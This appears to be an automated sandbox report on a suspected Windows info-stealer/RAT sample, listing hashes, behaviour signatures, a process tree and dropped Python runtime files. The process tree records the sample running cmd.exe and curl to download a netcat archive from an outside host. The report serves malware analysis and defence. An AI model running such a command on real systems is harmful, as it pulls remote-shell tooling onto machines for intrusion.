Analysis

  • max time kernel
    148s
  • max time network
    111s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 08:14

General

  • Target
    2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 8.8MB
  • Sample260710-j49rnsfy4p
  • SHA256 ad266bc143b8a5e5f1da6d4eee8a3378b438dafbe1b2c9ac62309053992d1030
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 6 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-10_489fe2e353b461c2fcf8c7a8da3ce69e_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5828
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip -o netcat.zip
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4344
        • C:\Windows\system32\curl.exe
          curl https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip -o netcat.zip
          4⤵
            PID:1752

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

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          Downloads

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\VCRUNTIME140.dll
          • Size 117KB
          • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\_bz2.pyd
          • Size 86KB
          • SHA256 ef5277eb670219274e7d1e92190ddf7f4bb94d4922ca1c1a12efadfd2c4c66f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\_lzma.pyd
          • Size 157KB
          • SHA256 39e5bc3624a26c9f6ad2e2df412543b0bd697a1d75338b44fe99763358d6d8cb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _zstd.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\_zstd.pyd
          • Size 491KB
          • SHA256 54e6acfbc1cb27c9afea0e133cadac68b89869ff1a14eb0c678d40eb9c655347
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\base_library.zip
          • Size 1.3MB
          • SHA256 7514fe22ea0846c8ae315b3414fec75608a8063ec56797a18fdda09df3cabf91
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python314.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\python314.dll
          • Size 6.5MB
          • SHA256 18310593c50ad109fc5c95db1fd5c92ecec9e1bfc66c976df9fc11dd62616d5a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ucrtbase.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI17642\ucrtbase.dll
          • Size 1.1MB
          • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
          • MD5 SHA1 SHA512 SSDEEP TLSH